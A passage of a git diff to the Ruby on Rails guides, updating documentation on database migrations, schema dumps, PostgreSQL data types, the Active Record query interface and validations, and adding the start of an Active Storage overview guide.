+$ rails db:migrate VERSION=20080906120000
```
If version 20080906120000 is greater than the current version (i.e., it is
@@ -762,7 +764,7 @@ mistake in it and wish to correct it. Rather than tracking down the version
number associated with the previous migration you can run:
```bash
-$ bin/rails db:rollback
+$ rails db:rollback
```
This will rollback the latest migration, either by reverting the `change`
@@ -770,31 +772,31 @@ method or by running the `down` method. If you need to undo
several migrations you can provide a `STEP` parameter:
```bash
-$ bin/rails db:rollback STEP=3
+$ rails db:rollback STEP=3
```
will revert the last 3 migrations.
-The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
-back up again. As with the `db:rollback` task, you can use the `STEP` parameter
+The `db:migrate:redo` command is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` command, you can use the `STEP` parameter
if you need to go more than one version back, for example:
```bash
-$ bin/rails db:migrate:redo STEP=3
+$ rails db:migrate:redo STEP=3
```
-Neither of these bin/rails tasks do anything you could not do with `db:migrate`. They
+Neither of these rails commands do anything you could not do with `db:migrate`. They
are simply more convenient, since you do not need to explicitly specify the
version to migrate to.
### Setup the Database
-The `rails db:setup` task will create the database, load the schema and initialize
+The `rails db:setup` command will create the database, load the schema, and initialize
it with the seed data.
### Resetting the Database
-The `rails db:reset` task will drop the database and set it up again. This is
+The `rails db:reset` command will drop the database and set it up again. This is
functionally equivalent to `rails db:drop db:setup`.
NOTE: This is not the same as running all the migrations. It will only use the
@@ -805,28 +807,28 @@ contents of the current `db/schema.rb` or `db/structure.sql` file. If a migratio
### Running Specific Migrations
If you need to run a specific migration up or down, the `db:migrate:up` and
-`db:migrate:down` tasks will do that. Just specify the appropriate version and
+`db:migrate:down` commands will do that. Just specify the appropriate version and
the corresponding migration will have its `change`, `up` or `down` method
invoked, for example:
```bash
-$ bin/rails db:migrate:up VERSION=20080906120000
+$ rails db:migrate:up VERSION=20080906120000
```
will run the 20080906120000 migration by running the `change` method (or the
-`up` method). This task will
+`up` method). This command will
first check whether the migration is already performed and will do nothing if
Active Record believes that it has already been run.
### Running Migrations in Different Environments
-By default running `bin/rails db:migrate` will run in the `development` environment.
+By default running `rails db:migrate` will run in the `development` environment.
To run migrations against another environment you can specify it using the
`RAILS_ENV` environment variable while running the command. For example to run
migrations against the `test` environment you could run:
```bash
-$ bin/rails db:migrate RAILS_ENV=test
+$ rails db:migrate RAILS_ENV=test
```
### Changing the Output of Running Migrations
@@ -897,7 +899,7 @@ Occasionally you will make a mistake when writing a migration. If you have
already run the migration, then you cannot just edit the migration and run the
migration again: Rails thinks it has already run the migration and so will do
nothing when you run `rails db:migrate`. You must rollback the migration (for
-example with `bin/rails db:rollback`), edit your migration and then run
+example with `rails db:rollback`), edit your migration, and then run
`rails db:migrate` to run the corrected version.
In general, editing existing migrations is not a good idea. You will be
@@ -918,35 +920,30 @@ Schema Dumping and You
### What are Schema Files for?
Migrations, mighty as they may be, are not the authoritative source for your
-database schema. That role falls to either `db/schema.rb` or an SQL file which
-Active Record generates by examining the database. They are not designed to be
-edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by
-replaying the entire migration history. It is much simpler and faster to just
-load into the database a description of the current schema.
+database schema. Your database remains the authoritative source. By default,
+Rails generates `db/schema.rb` which attempts to capture the current state of
+your database schema.
-For example, this is how the test database is created: the current development
-database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
-loaded into the test database.
+It tends to be faster and less error prone to create a new instance of your
+application's database by loading the schema file via `rails db:schema:load`
+than it is to replay the entire migration history.
+[Old migrations](#old-migrations) may fail to apply correctly if those
+migrations use changing external dependencies or rely on application code which
+evolves separately from your migrations.
Schema files are also useful if you want a quick look at what attributes an
Active Record object has. This information is not in the model's code and is
frequently spread across several migrations, but the information is nicely
-summed up in the schema file. The
-[annotate_models](https://github.com/ctran/annotate_models) gem automatically
-adds and updates comments at the top of each model summarizing the schema if
-you desire that functionality.
+summed up in the schema file.
### Types of Schema Dumps
-There are two ways to dump the schema. This is set in `config/application.rb`
-by the `config.active_record.schema_format` setting, which may be either `:sql`
-or `:ruby`.
+The format of the schema dump generated by Rails is controlled by the
+`config.active_record.schema_format` setting in `config/application.rb`. By
+default, the format is `:ruby`, but can also be set to `:sql`.
If `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look
-at this file you'll find that it looks an awful lot like one very big
-migration:
+at this file you'll find that it looks an awful lot like one very big migration:
```ruby
ActiveRecord::Schema.define(version: 20080906171750) do
@@ -968,36 +965,32 @@ end
In many ways this is exactly what it is. This file is created by inspecting the
database and expressing its structure using `create_table`, `add_index`, and so
-on. Because this is database-independent, it could be loaded into any database
-that Active Record supports. This could be very useful if you were to
-distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: `db/schema.rb` cannot express database specific
-items such as triggers, stored procedures or check constraints. While in a
-migration you can execute custom SQL statements, the schema dumper cannot
-reconstitute those statements from the database. If you are using features like
-this, then you should set the schema format to `:sql`.
-
-Instead of using Active Record's schema dumper, the database's structure will
-be dumped using a tool specific to the database (via the `db:structure:dump`
-rails task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
-utility is used. For MySQL and MariaDB, this file will contain the output of
-`SHOW CREATE TABLE` for the various tables.
-
-Loading these schemas is simply a question of executing the SQL statements they
-contain. By definition, this will create a perfect copy of the database's
-structure. Using the `:sql` schema format will, however, prevent loading the
-schema into a RDBMS other than the one used to create it.
+on.
+
+`db/schema.rb` cannot express everything your database may support such as
+triggers, sequences, stored procedures, check constraints, etc. While migrations
+may use `execute` to create database constructs that are not supported by the
+Ruby migration DSL, these constructs may not be able to be reconstituted by the
+schema dumper. If you are using features like these, you should set the schema
+format to `:sql` in order to get an accurate schema file that is useful to
+create new database instances.
+
+When the schema format is set to `:sql`, the database structure will be dumped
+using a tool specific to the database into `db/structure.sql`. For example, for
+PostgreSQL, the `pg_dump` utility is used. For MySQL and MariaDB, this file will
+contain the output of `SHOW CREATE TABLE` for the various tables.
+
+To load the schema from `db/structure.sql`, run `rails db:structure:load`.
+Loading this file is done by executing the SQL statements it contains. By
+definition, this will create a perfect copy of the database's structure.
### Schema Dumps and Source Control
-Because schema dumps are the authoritative source for your database schema, it
-is strongly recommended that you check them into source control.
+Because schema files are commonly used to create new databases, it is strongly
+recommended that you check your schema file into source control.
-`db/schema.rb` contains the current version number of the database. This
-ensures conflicts are going to happen in the case of a merge where both
-branches touched the schema. When that happens, solve conflicts manually,
-keeping the highest version number of the two.
+Merge conflicts can occur in your schema file when two branches modify schema.
+To resolve these conflicts run `rails db:migrate` to regenerate the schema file.
Active Record and Referential Integrity
---------------------------------------
@@ -1053,3 +1046,21 @@ end
This is generally a much cleaner way to set up the database of a blank
application.
+
+Old Migrations
+--------------
+
+The `db/schema.rb` or `db/structure.sql` is a snapshot of the current state of your
+database and is the authoritative source for rebuilding that database. This
+makes it possible to delete old migration files.
+
+When you delete migration files in the `db/migrate/` directory, any environment
+where `rails db:migrate` was run when those files still existed will hold a reference
+to the migration timestamp specific to them inside an internal Rails database
+table named `schema_migrations`. This table is used to keep track of whether
+migrations have been executed in a specific environment.
+
+If you run the `rails db:migrate:status` command, which displays the status
+(up or down) of each migration, you should see `********** NO FILE **********`
+displayed next to any deleted migration file which was once executed on a
+specific environment but can no longer be found in the `db/migrate/` directory.
diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md
index 6d07291b07..16c1567c69 100644
--- a/guides/source/active_record_postgresql.md
+++ b/guides/source/active_record_postgresql.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record and PostgreSQL
============================
@@ -29,8 +29,8 @@ that are supported by the PostgreSQL adapter.
### Bytea
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-binary.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-binarystring.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html)
```ruby
# db/migrate/20140207133952_create_documents.rb
@@ -49,8 +49,8 @@ Document.create payload: data
### Array
-* [type definition](http://www.postgresql.org/docs/current/static/arrays.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-array.html)
+* [type definition](https://www.postgresql.org/docs/current/static/arrays.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html)
```ruby
# db/migrate/20140207133952_create_books.rb
@@ -83,8 +83,8 @@ Book.where("array_length(ratings, 1) >= 3")
### Hstore
-* [type definition](http://www.postgresql.org/docs/current/static/hstore.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/hstore.html#AEN167712)
+* [type definition](https://www.postgresql.org/docs/current/static/hstore.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#id-1.11.7.26.5)
NOTE: You need to enable the `hstore` extension to use hstore.
@@ -114,16 +114,21 @@ Profile.where("settings->'color' = ?", "yellow")
# => #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
```
-### JSON
+### JSON and JSONB
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-json.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-json.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html)
```ruby
# db/migrate/20131220144913_create_events.rb
+# ... for json datatype:
create_table :events do |t|
t.json 'payload'
end
+# ... or for jsonb datatype:
+create_table :events do |t|
+ t.jsonb 'payload'
+end
# app/models/event.rb
class Event < ApplicationRecord
@@ -142,8 +147,8 @@ Event.where("payload->>'kind' = ?", "user_renamed")
### Range Types
-* [type definition](http://www.postgresql.org/docs/current/static/rangetypes.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-range.html)
+* [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html)
This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) objects.
@@ -177,7 +182,7 @@ event.ends_at # => Thu, 13 Feb 2014
### Composite Types
-* [type definition](http://www.postgresql.org/docs/current/static/rowtypes.html)
+* [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html)
Currently there is no special support for composite types. They are mapped to
normal text columns:
@@ -217,7 +222,7 @@ contact.save!
### Enumerated Types
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-enum.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html)
Currently there is no special support for enumerated types. They are mapped as
normal text columns:
@@ -255,7 +260,7 @@ article.status = "published"
article.save!
```
-To add a new value before/after existing one you should use [ALTER TYPE](http://www.postgresql.org/docs/current/static/sql-altertype.html):
+To add a new value before/after existing one you should use [ALTER TYPE](https://www.postgresql.org/docs/current/static/sql-altertype.html):
```ruby
# db/migrate/20150720144913_add_new_state_to_articles.rb
@@ -269,9 +274,9 @@ def up
end
```
-NOTE: ENUM values can't be dropped currently. You can read why [here](http://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).
+NOTE: ENUM values can't be dropped currently. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).
-Hint: to show all the values of the all enums you have, you should call this query in `bin/rails db` or `psql` console:
+Hint: to show all the values of the all enums you have, you should call this query in `rails db` or `psql` console:
```sql
SELECT n.nspname AS enum_schema,
@@ -284,9 +289,9 @@ SELECT n.nspname AS enum_schema,
### UUID
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-uuid.html)
-* [pgcrypto generator function](http://www.postgresql.org/docs/current/static/pgcrypto.html#AEN159361)
-* [uuid-ossp generator functions](http://www.postgresql.org/docs/current/static/uuid-ossp.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html)
+* [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html#id-1.11.7.35.7)
+* [uuid-ossp generator functions](https://www.postgresql.org/docs/current/static/uuid-ossp.html)
NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp`
extension to use uuid.
@@ -335,8 +340,8 @@ See [this section](#uuid-primary-keys) for more details on using UUIDs as primar
### Bit String Types
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-bit.html)
-* [functions and operators](http://www.postgresql.org/docs/current/static/functions-bitstring.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html)
```ruby
# db/migrate/20131220144913_create_users.rb
@@ -344,7 +349,7 @@ create_table :users, force: true do |t|
t.column :settings, "bit(8)"
end
-# app/models/device.rb
+# app/models/user.rb
class User < ApplicationRecord
end
@@ -359,7 +364,7 @@ user.save!
### Network Address Types
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-net-types.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html)
The types `inet` and `cidr` are mapped to Ruby
[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html)
@@ -394,7 +399,7 @@ macbook.address
### Geometric Types
-* [type definition](http://www.postgresql.org/docs/current/static/datatype-geometric.html)
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html)
All geometric types, with the exception of `points` are mapped to normal text.
A point is casted to an array containing `x` and `y` coordinates.
@@ -452,7 +457,7 @@ Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
Database Views
--------------
-* [view creation](http://www.postgresql.org/docs/current/static/sql-createview.html)
+* [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html)
Imagine you need to work with a legacy database containing the following table:
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 31220f9be2..91cc175095 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record Query Interface
=============================
@@ -118,7 +118,7 @@ You can also use this method to query for multiple objects. Call the `find` meth
```ruby
# Find the clients with primary keys 1 and 10.
-client = Client.find([1, 10]) # Or even Client.find(1, 10)
+clients = Client.find([1, 10]) # Or even Client.find(1, 10)
# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
```
@@ -150,7 +150,7 @@ The `take` method returns `nil` if no record is found and no exception will be r
You can pass in a numerical argument to the `take` method to return up to that number of results. For example
```ruby
-client = Client.take(2)
+clients = Client.take(2)
# => [
# #<Client id: 1, first_name: "Lifo">,
# #<Client id: 220, first_name: "Sara">
@@ -189,7 +189,7 @@ If your [default scope](active_record_querying.html#applying-a-default-scope) co
You can pass in a numerical argument to the `first` method to return up to that number of results. For example
```ruby
-client = Client.first(3)
+clients = Client.first(3)
# => [
# #<Client id: 1, first_name: "Lifo">,
# #<Client id: 2, first_name: "Fifo">,
@@ -240,7 +240,7 @@ If your [default scope](active_record_querying.html#applying-a-default-scope) co
You can pass in a numerical argument to the `last` method to return up to that number of results. For example
```ruby
-client = Client.last(3)
+clients = Client.last(3)
# => [
# #<Client id: 219, first_name: "James">,
# #<Client id: 220, first_name: "Sara">,
@@ -368,7 +368,7 @@ end
**`:start`**
-By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+By default, records are fetched in ascending order of the primary key. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
For example, to send newsletters only to users with the primary key starting from 2000:
@@ -414,7 +414,7 @@ end
`find_in_batches` works on model classes, as seen above, and also on relations:
```ruby
-Invoice.pending.find_in_batches do |invoice|
+Invoice.pending.find_in_batches do |invoices|
pending_invoices_export.add_invoices(invoices)
end
```
@@ -486,7 +486,7 @@ This makes for clearer readability if you have a large number of variable condit
Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them:
-NOTE: Only equality, range and subset checking are possible with Hash conditions.
+NOTE: Only equality, range, and subset checking are possible with Hash conditions.
#### Equality Conditions
@@ -513,8 +513,6 @@ Article.where(author: author)
Author.joins(:articles).where(articles: { author: author })
```
-NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
-
#### Range Conditions
```ruby
@@ -557,6 +555,19 @@ In other words, this query can be generated by calling `where` with no argument,
SELECT * FROM clients WHERE (clients.locked != 1)
```
+### OR Conditions
+
+`OR` conditions between two relations can be built by calling `or` on the first
+relation, and passing the second one as an argument.
+
+```ruby
+Client.where(locked: true).or(Client.where(orders_count: [1,3,5]))
+```
+
+```sql
+SELECT * FROM clients WHERE (clients.locked = 1 OR clients.orders_count IN (1,3,5))
+```
+
Ordering
--------
@@ -790,7 +801,7 @@ The SQL that would be executed:
SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
# Original query without `only`
-SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
+SELECT * FROM articles WHERE id > 10 ORDER BY id DESC LIMIT 20
```
@@ -809,14 +820,14 @@ Article.find(10).comments.reorder('name')
The SQL that would be executed:
```sql
-SELECT * FROM articles WHERE id = 10
+SELECT * FROM articles WHERE id = 10 LIMIT 1
SELECT * FROM comments WHERE article_id = 10 ORDER BY name
```
In the case where the `reorder` clause is not used, the SQL executed would be:
```sql
-SELECT * FROM articles WHERE id = 10
+SELECT * FROM articles WHERE id = 10 LIMIT 1
SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
```
@@ -953,9 +964,6 @@ class Client < ApplicationRecord
end
```
-NOTE: Please note that the optimistic locking will be ignored if you update the
-locking column's value.
-
### Pessimistic Locking
Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
@@ -1083,7 +1091,7 @@ This produces:
```sql
SELECT articles.* FROM articles
- INNER JOIN categories ON articles.category_id = categories.id
+ INNER JOIN categories ON categories.id = articles.category_id
INNER JOIN comments ON comments.article_id = articles.id
```
@@ -1269,16 +1277,6 @@ class Article < ApplicationRecord
end
```
-This is exactly the same as defining a class method, and which you use is a matter of personal preference:
-
-```ruby
-class Article < ApplicationRecord
- def self.published
- where(published: true)
- end
-end
-```
-
Scopes are also chainable within scopes:
```ruby
@@ -1384,8 +1382,9 @@ class Client < ApplicationRecord
end
```
-NOTE: The `default_scope` is also applied while creating/building a record.
-It is not applied while updating a record. E.g.:
+NOTE: The `default_scope` is also applied while creating/building a record
+when the scope arguments are given as a `Hash`. It is not applied while
+updating a record. E.g.:
```ruby
class Client < ApplicationRecord
@@ -1396,6 +1395,17 @@ Client.new # => #<Client id: nil, active: true>
Client.unscoped.new # => #<Client id: nil, active: nil>
```
+Be aware that, when given in the `Array` format, `default_scope` query arguments
+cannot be converted to a `Hash` for default attribute assignment. E.g.:
+
+```ruby
+class Client < ApplicationRecord
+ default_scope { where("active = ?", true) }
+end
+
+Client.new # => #<Client id: nil, active: nil>
+```
+
### Merging of scopes
Just like `where` clauses scopes are merged using `AND` conditions.
@@ -1519,7 +1529,7 @@ Read the full documentation about enums
Understanding The Method Chaining
---------------------------------
-The Active Record pattern implements [Method Chaining](http://en.wikipedia.org/wiki/Method_chaining),
+The Active Record pattern implements [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining),
which allow us to use multiple Active Record methods together in a simple and straightforward way.
You can chain methods in a statement when the previous method called returns an
@@ -1547,7 +1557,7 @@ SELECT people.id, people.name, comments.text
FROM people
INNER JOIN comments
ON comments.person_id = people.id
-WHERE comments.created_at = '2015-01-01'
+WHERE comments.created_at > '2015-01-01'
```
### Retrieving specific data from multiple tables
@@ -1692,10 +1702,10 @@ Client.find_by_sql("SELECT * FROM clients
### `select_all`
-`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. This method will return an instance of `ActiveRecord::Result` class and calling `to_hash` on this object would return you an array of hashes where each hash indicates a record.
```ruby
-Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
+Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'").to_hash
# => [
# {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
# {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
@@ -1757,6 +1767,12 @@ Client.pluck(:name)
# => ["David", "Jeremy", "Jose"]
```
+You are not limited to querying fields from a single table, you can query multiple tables as well.
+
+```
+Client.joins(:comments, :categories).pluck("clients.email, comments.title, categories.name")
+```
+
Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
query, and thus cannot be chained with any further scopes, although it can work with
scopes already constructed earlier:
@@ -1851,14 +1867,14 @@ All calculation methods work directly on a model:
```ruby
Client.count
-# SELECT count(*) AS count_all FROM clients
+# SELECT COUNT(*) FROM clients
```
Or on a relation:
```ruby
Client.where(first_name: 'Ryan').count
-# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+# SELECT COUNT(*) FROM clients WHERE (first_name = 'Ryan')
```
You can also use various finder methods on a relation for performing complex calculations:
@@ -1870,9 +1886,9 @@ Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received'
Which will execute:
```sql
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
- LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
- (clients.first_name = 'Ryan' AND orders.status = 'received')
+SELECT COUNT(DISTINCT clients.id) FROM clients
+ LEFT OUTER JOIN orders ON orders.client_id = clients.id
+ WHERE (clients.first_name = 'Ryan' AND orders.status = 'received')
```
### Count
@@ -2025,4 +2041,4 @@ following pointers may be helpful:
* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/)
-* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html)
+* PostgreSQL: [Using EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index 32b38cde5e..3f13ef8d10 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Record Validations
=========================
@@ -87,7 +87,7 @@ end
We can see how it works by looking at some `rails console` output:
```ruby
-$ bin/rails console
+$ rails console
>> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
>> p.new_record?
@@ -490,9 +490,6 @@ If you set `:only_integer` to `true`, then it will use the
regular expression to validate the attribute's value. Otherwise, it will try to
convert the value to a number using `Float`.
-WARNING. Note that the regular expression above allows a trailing newline
-character.
-
```ruby
class Player < ApplicationRecord
validates :points, numericality: true
@@ -641,7 +638,7 @@ class Holiday < ApplicationRecord
message: "should happen once per year" }
end
```
-Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns.
+Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](https://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns.
There is also a `:case_sensitive` option that you can use to define whether the
uniqueness constraint will be case sensitive or not. This option defaults to
@@ -748,7 +745,7 @@ class Person < ApplicationRecord
end
```
-The block receives the record, the attribute's name and the attribute's value.
+The block receives the record, the attribute's name, and the attribute's value.
You can do anything you like to check for valid data within the block. If your
validation fails, you should add an error message to the model, therefore
making it invalid.
@@ -895,7 +892,7 @@ Conditional Validation
Sometimes it will make sense to validate an object only when a given predicate
is satisfied. You can do that by using the `:if` and `:unless` options, which
-can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if`
+can take a symbol, a `Proc` or an `Array`. You may use the `:if`
option when you want to specify when the validation **should** happen. If you
want to specify when the validation **should not** happen, then you may use the
`:unless` option.
@@ -930,6 +927,13 @@ class Account < ApplicationRecord
end
```
+As `Lambdas` are a type of `Proc`, they can also be used to write inline
+conditions in a shorter way.
+
+```ruby
+validates :password, confirmation: true, unless: -> { password.blank? }
+```
+
### Grouping Conditional validations
Sometimes it is useful to have multiple validations use one condition. It can
@@ -956,7 +960,7 @@ should happen, an `Array` can be used. Moreover, you can apply both `:if` and
```ruby
class Computer < ApplicationRecord
validates :mouse, presence: true,
- if: ["market.retail?", :desktop?],
+ if: [Proc.new { |c| c.market.retail? }, :desktop?],
unless: Proc.new { |c| c.trackpad.present? }
end
```
@@ -1136,24 +1140,6 @@ person.errors.full_messages
# => ["Name cannot contain the characters !@#%*()_-+="]
```
-An equivalent to `errors#add` is to use `<<` to append a message to the `errors.messages` array for an attribute:
-
-```ruby
- class Person < ApplicationRecord
- def a_method_used_for_validation_purposes
- errors.messages[:name] << "cannot contain the characters !@#%*()_-+="
- end
- end
-
- person = Person.create(name: "!@#")
-
- person.errors[:name]
- # => ["cannot contain the characters !@#%*()_-+="]
-
- person.errors.to_a
- # => ["Name cannot contain the characters !@#%*()_-+="]
-```
-
### `errors.details`
You can specify a validator type to the returned error details hash using the
diff --git a/guides/source/active_storage_overview.md b/guides/source/active_storage_overview.md
new file mode 100644
index 0000000000..1c15d075b9
--- /dev/null
+++ b/guides/source/active_storage_overview.md
@@ -0,0 +1,755 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
+
+Active Storage Overview
+=======================
+
+This guide covers how to attach files to your Active Record models.
+
+After reading this guide, you will know:
+
+* How to attach one or many files to a record.
+* How to delete an attached file.
+* How to link to an attached file.
+* How to use variants to transform images.
+* How to generate an image representation of a non-image file, such as a PDF or a video.
+* How to send file uploads directly from browsers to a storage service,
+ bypassing your application servers.
+* How to clean up files stored during testing.
+* How to implement support for additional storage services.
+
+--------------------------------------------------------------------------------
+
+What is Active Storage?
+-----------------------
+
+Active Storage facilitates uploading files to a cloud storage service like
+Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those
+files to Active Record objects. It comes with a local disk-based service for
+development and testing and supports mirroring files to subordinate services for
+backups and migrations.
+
+Using Active Storage, an application can transform image uploads with
+[ImageMagick](https://www.imagemagick.org), generate image representations of
+non-image uploads like PDFs and videos, and extract metadata from arbitrary
+files.
+
+## Setup
+
+Active Storage uses two tables in your application’s database named
+`active_storage_blobs` and `active_storage_attachments`. After creating a new
+application (or upgrading your application to Rails 5.2), run
+`rails active_storage:install` to generate a migration that creates these
+tables. Use `rails db:migrate` to run the migration.
+
+Declare Active Storage services in `config/storage.yml`. For each service your
+application uses, provide a name and the requisite configuration. The example
+below declares three services named `local`, `test`, and `amazon`:
+
+```yaml
+local:
+ service: Disk
+ root: <%= Rails.root.join("storage") %>
+
+test:
+ service: Disk
+ root: <%= Rails.root.join("tmp/storage") %>
+
+amazon:
+ service: S3
+ access_key_id: ""
+ secret_access_key: ""
+```
+
+Tell Active Storage which service to use by setting
+`Rails.application.config.active_storage.service`. Because each environment will
+likely use a different service, it is recommended to do this on a
+per-environment basis. To use the disk service from the previous example in the
+development environment, you would add the following to
+`config/environments/development.rb`:
+
+```ruby
+# Store files locally.
+config.active_storage.service = :local
+```
+
+To use the Amazon S3 service in production, you add the following to
+`config/environments/production.rb`:
+
+```ruby
+# Store files on Amazon S3.
+config.active_storage.service = :amazon
+```
+
+Continue reading for more information on the built-in service adapters (e.g.
+`Disk` and `S3`) and the configuration they require.
+
+### Disk Service
+
+Declare a Disk service in `config/storage.yml`:
+
+```yaml
+local:
+ service: Disk
+ root: <%= Rails.root.join("storage") %>
+```
+
+### Amazon S3 Service
+
+Declare an S3 service in `config/storage.yml`:
+
+```yaml
+amazon:
+ service: S3
+ access_key_id: ""
+ secret_access_key: ""
+ region: ""
+ bucket: ""
+```
+
+Add the [`aws-sdk-s3`](https://github.com/aws/aws-sdk-ruby) gem to your `Gemfile`:
+
+```ruby
+gem "aws-sdk-s3", require: false
+```
+
+NOTE: The core features of Active Storage require the following permissions: `s3:ListBucket`, `s3:PutObject`, `s3:GetObject`, and `s3:DeleteObject`. If you have additional upload options configured such as setting ACLs then additional permissions may be required.
+
+NOTE: If you want to use environment variables, standard SDK configuration files, profiles,
+IAM instance profiles or task roles, you can omit the `access_key_id`, `secret_access_key`,
+and `region` keys in the example above. The Amazon S3 Service supports all of the
+authentication options described in the [AWS SDK documentation]
